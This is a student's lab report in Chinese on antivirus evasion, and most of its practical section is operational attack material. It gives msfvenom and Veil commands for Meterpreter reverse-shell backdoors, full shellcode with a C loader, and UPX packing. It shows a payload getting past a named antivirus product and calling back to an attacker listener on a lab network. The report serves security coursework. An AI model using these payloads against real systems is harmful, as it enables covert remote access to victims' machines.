Exp3-免杀原理

一、基础问题回答

1、杀软是如何检测出恶意代码的?

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
  • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
  • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。

2、免杀是做什么的?

  • 为了不被杀毒软件所检测,对恶意软件做处理。

3、免杀的基本方法有哪些?

  • 改变特征码:加壳,用encode进行编码,基于payload重新编译生成可执行文件,用其他语言进行重写再编译(veil-evasion)
  • 改变行为:尽量使用反弹式连接,使用隧道技术,加密通讯数据,基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码,使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

4. 开启杀软能绝对防止电脑中恶意代码吗?

不能。本次实验中就产生了杀软也无法检测出来的后门程序,并用其获取了主机权限。

二、实践过程记录

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

1.1 得到kali的ip地址192.168.136.129

1.2 检验直接生成的后门exe文件(实验二中的后门程序)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 PORT=1315 -f exe > 20201315backdoor.exe
用免杀测试平台测试:https://www.virustotal.com
测试结果如下:

1.3 使用Unicode编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.136.129 LPORT=1315 -f exe > 20201315backdoor1.exe

测试结果如下:

1.4 编码10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.136.129 LPORT=1315 -f exe > 20201315_backdoor2.exe

测试结果如下:

1.5 利用php格式文件检测

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=1315 x> 20201315_backdoor_php.php

测试结果如下:

1.6 利用jar文件检测

msfvenom -p java/shell_reverse_tcp LHOST=192.168.136.129 LPORT=1315 -f jar > 20201315_backdoor_jar.jar

测试结果如下:

2、 veil

2.1安装veil-evasion

sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh

需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为

sudo git clone https://gitee.com/spears/VeilDependencies.git

修改成功后,输入veil

安装相关模块

安装成功

2.2 利用加壳工具产生后门软件

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.136.129
set LPORT 1315
generate

输入文件名字20201315veil

生成的文件路径为/var/lib/veil/output/compiled/20201315veil.exe

检测结果为

2.3 免杀加壳尝试

upx 20201315veil.exe -o 20201315_veil_upx.exe

3、使用C + shellcode编程

使用msfvenom 得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=1315 -f c

得到的shellcode为

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x88\x81\x68\x02"
"\x00\x05\x23\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

编辑C文件 vim shellcode_c.c,输入上方的代码以及

int main()
{  
    int (*func)() =(int(*)())buf;
    func();
}

编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

4、通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt

veil
use evasion
List
use python/shellcode_inject/aes_encrypt.pygenerate
2
回车
192.168.136.129
1315
回车

5、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

用Windows主机做测试,杀毒软件为联想杀毒plus,版本为16.0,前面生成的后门程序20201315_veil_upx.exe不会被杀毒软件查杀。

Windows主机运行ncat.exe -lv 1315> 20201315_veil_upx.exe

Kali运行nc 192.168.31.35 1315 < 20201315_veil_upx.exe

文件20201315_veil_upx.exe传输成功

没把可执行文件添加到隔离区,扫描后未发现威胁

再kali打开msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.136.129
set LPORT 1315
exploit

然后再windows中执行20201315_veil_upx.exe。成功回连,获取到Windows的shell,并尝试执行了ls与dir命令。

杀毒软件未发生异常

三、遇到的问题

多次输入/usr/share/veil/config/setup.sh --force --silent仍然安装失败

解决方法;参考https://zhuanlan.zhihu.com/p/108958229

运行下面代码解决

dpkg --add-architecture i386 
apt-get update 
apt-get install wine32

四、实践总结与体会

​ 这次实验在veil的安装上遇到了一些问题,花了一些时间,但在查询相关资料后还是成功解决了,这次实验整体做下来还算顺利。上次实验是在杀软关闭的情况下完成的,而这次实验最后竟然绕过了杀软完成了攻击,这进一步提高了我的安全意识,杀软并非百分百可靠的。

posted @ 2023-03-30 20:17  无响应trance少年  阅读(44)  评论(0编辑  收藏  举报